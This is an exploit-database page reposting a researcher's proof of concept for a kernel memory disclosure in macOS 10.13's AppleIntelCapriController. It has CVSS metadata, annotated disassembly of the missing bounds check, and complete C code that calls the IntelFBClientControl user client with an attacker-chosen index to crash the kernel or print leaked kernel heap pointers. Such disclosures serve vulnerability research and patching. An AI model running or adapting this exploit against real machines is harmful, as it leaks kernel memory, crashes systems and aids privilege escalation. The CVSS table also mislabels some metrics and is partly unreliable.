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macOS 10.13 (17A365) Kernel Memory Disclosure due to Lack of Bounds Checking in AppleIntelCapriContr

CVE	Category	Price	Severity
N/A	CWE-120	Unknown	High

Author	Risk	Exploitation Type	Date
Unknown	High	Local	2018-01-19

CPE
cpe:cpe:/o:apple:macos:10.13:17a365

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements	Present	AT	The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System	High	VC	There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System	High	VI	There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System	High	VA	There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact	Negligible	SC	There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System	None	SI	There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System	None	SA	There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018010189

Below is a copy:

macOS 10.13 (17A365) Kernel Memory Disclosure due to Lack of Bounds Checking in AppleIntelCapriController::getDisplayPipeCapability

/*
AppleIntelCapriController::getDisplayPipeCapability reads an attacker-controlled dword value from a userclient structure
input buffer which it uses to index a small array of pointers to memory to copy back to userspace.

There is no bounds checking on the attacker supplied value allowing (with some heap grooming) the disclosure of arbitrary
kernel memory:

__text:000000000002ACE0                 mov     eax, [rbx]                ; structure input buffer
__text:000000000002ACE2                 mov     rsi, [rdi+rax*8+0E48h]    ; rax is controlled -> rsi read OOB
__text:000000000002ACEA                 cmp     byte ptr [rsi+1DCh], 0    ; as long as this byte isn't NULL
__text:000000000002ACF1                 jz      short loc_2AD10
__text:000000000002ACF3                 add     rsi, 1E11h      ; void *  ; add this offset
__text:000000000002ACFA                 mov     edx, 1D8h       ; size_t
__text:000000000002ACFF                 mov     rdi, r14        ; void *
__text:000000000002AD02                 call    _memcpy                   ; copy to structure output buffer, will be returned to userspace

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/

// ianbeer
// build: clang -o capri_display_pipe capri_display_pipe.c -framework IOKit

#if 0
MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability

AppleIntelCapriController::getDisplayPipeCapability reads an attacker-controlled dword value from a userclient structure
input buffer which it uses to index a small array of pointers to memory to copy back to userspace.

There is no bounds checking on the attacker supplied value allowing (with some heap grooming) the disclosure of arbitrary
kernel memory:

__text:000000000002ACE0                 mov     eax, [rbx]                ; structure input buffer
__text:000000000002ACE2                 mov     rsi, [rdi+rax*8+0E48h]    ; rax is controlled -> rsi read OOB
__text:000000000002ACEA                 cmp     byte ptr [rsi+1DCh], 0    ; as long as this byte isn't NULL
__text:000000000002ACF1                 jz      short loc_2AD10
__text:000000000002ACF3                 add     rsi, 1E11h      ; void *  ; add this offset
__text:000000000002ACFA                 mov     edx, 1D8h       ; size_t
__text:000000000002ACFF                 mov     rdi, r14        ; void *
__text:000000000002AD02                 call    _memcpy                   ; copy to structure output buffer, will be returned to userspace

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 8;
  *(uint64_t*)inputStruct = 0x12345678; // crash
  //*(uint64_t*)inputStruct = 0x37; // disclose kernel heap memory


  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 4096;
  
  err = IOConnectCallMethod(
    conn,
    0x710,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 

  if (outputStructCnt > 20) {
    int n_leaked_ptrs = (outputStructCnt-7)/8;
    uint64_t* ptrs = (uint64_t*) (outputStruct+7);
    for (int i = 0; i < n_leaked_ptrs; i++) {
      printf("%016llx\n", ptrs[i]);
    }
  }
  return 0;
}

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